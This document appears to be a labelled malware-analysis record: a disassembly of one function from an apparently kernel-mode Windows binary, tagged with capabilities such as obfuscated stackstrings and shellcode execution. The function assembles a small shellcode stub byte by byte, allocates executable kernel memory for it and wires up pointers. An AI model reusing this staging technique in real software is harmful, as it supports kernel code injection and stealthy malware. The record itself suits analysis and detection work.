Function at 0x140014ee0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0xb8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0x1000
mov byte [rsp + 0x50], 0x48
mov byte [rsp + 0x51], 0x83
mov byte [rsp + 0x52], 0xec
mov byte [rsp + 0x53], 0x28
mov byte [rsp + 0x54], 0x48
mov byte [rsp + 0x55], 0x31
mov byte [rsp + 0x56], 0xc9
mov byte [rsp + 0x57], 0x48
mov byte [rsp + 0x58], 0x31
mov byte [rsp + 0x59], 0xd2
mov byte [rsp + 0x5a], 0x49
mov byte [rsp + 0x5b], 0xb8
mov byte [rsp + 0x5c], 0
mov byte [rsp + 0x5d], 0
mov byte [rsp + 0x5e], 0
mov byte [rsp + 0x5f], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x61], 0
mov byte [rsp + 0x62], 0
mov byte [rsp + 0x63], 0
mov byte [rsp + 0x64], 0x49
mov byte [rsp + 0x65], 0xb9
mov byte [rsp + 0x66], 0
mov byte [rsp + 0x67], 0
mov byte [rsp + 0x68], 0
mov byte [rsp + 0x69], 0
mov byte [rsp + 0x6a], 0
mov byte [rsp + 0x6b], 0
mov byte [rsp + 0x6c], 0
mov byte [rsp + 0x6d], 0
mov byte [rsp + 0x6e], 0x48
mov byte [rsp + 0x6f], 0xb8
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x71], 0
mov byte [rsp + 0x72], 0
mov byte [rsp + 0x73], 0
mov byte [rsp + 0x74], 0
mov byte [rsp + 0x75], 0
mov byte [rsp + 0x76], 0
mov byte [rsp + 0x77], 0
mov byte [rsp + 0x78], 0xff
mov byte [rsp + 0x79], 0xd0
mov byte [rsp + 0x7a], 0x48
mov byte [rsp + 0x7b], 0xba
mov byte [rsp + 0x7c], 0
mov byte [rsp + 0x7d], 0
mov byte [rsp + 0x7e], 0
mov byte [rsp + 0x7f], 0
mov byte [rsp + 0x80], 0
mov byte [rsp + 0x81], 0
mov byte [rsp + 0x82], 0
mov byte [rsp + 0x83], 0
mov byte [rsp + 0x84], 0xc7
mov byte [rsp + 0x85], 2
mov byte [rsp + 0x86], 0x7e
mov byte [rsp + 0x87], 0x1e
mov byte [rsp + 0x88], 0x37
mov byte [rsp + 0x89], 0xc0
mov byte [rsp + 0x8a], 0x48
mov byte [rsp + 0x8b], 0xba
mov byte [rsp + 0x8c], 0
mov byte [rsp + 0x8d], 0
mov byte [rsp + 0x8e], 0
mov byte [rsp + 0x8f], 0
mov byte [rsp + 0x90], 0
mov byte [rsp + 0x91], 0
mov byte [rsp + 0x92], 0
mov byte [rsp + 0x93], 0
mov byte [rsp + 0x94], 0x89
mov byte [rsp + 0x95], 2
mov byte [rsp + 0x96], 0x48
mov byte [rsp + 0x97], 0x83
mov byte [rsp + 0x98], 0xc4
mov byte [rsp + 0x99], 0x28
mov byte [rsp + 0x9a], 0xc3
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x48]
xor r8d, r8d
lea rdx, [rsp + 0x40]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jl 0x1400151e4
mov rax, qword [rsp + 0x40]
add rax, 0x200
mov qword [rsp + 0x38], rax
xor eax, eax
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov eax, 0x3d0
mov rcx, qword [rsp + 0x38]
mov word [rcx + 2], ax
mov rax, qword [rsp + 0x40]
add rax, 0x210
mov rcx, qword [rsp + 0x38]
mov qword [rcx + 8], rax
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x38]
call fcn.14000abc0
lea rax, [rsp + 0x50]
mov rdi, qword [rsp + 0x40]
mov rsi, rax
mov ecx, 0x4b
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0xc], rcx
mov rax, qword [rsp + 0x40]
add rax, 0x5e0
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x16], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 0x20], rcx
mov rax, qword [rsp + 0x40]
add rax, 0x5e8
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x2c], rax
mov rax, qword [rsp + 0x40]
add rax, 0x5ec
mov rcx, qword [rsp + 0x40]
mov qword [rcx + 0x3c], rax
mov rax, qword [rsp + 0x40]
jmp 0x1400151e6
xor eax, eax
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140001860
add rsp, 0xb8
pop rdi
pop rsi
ret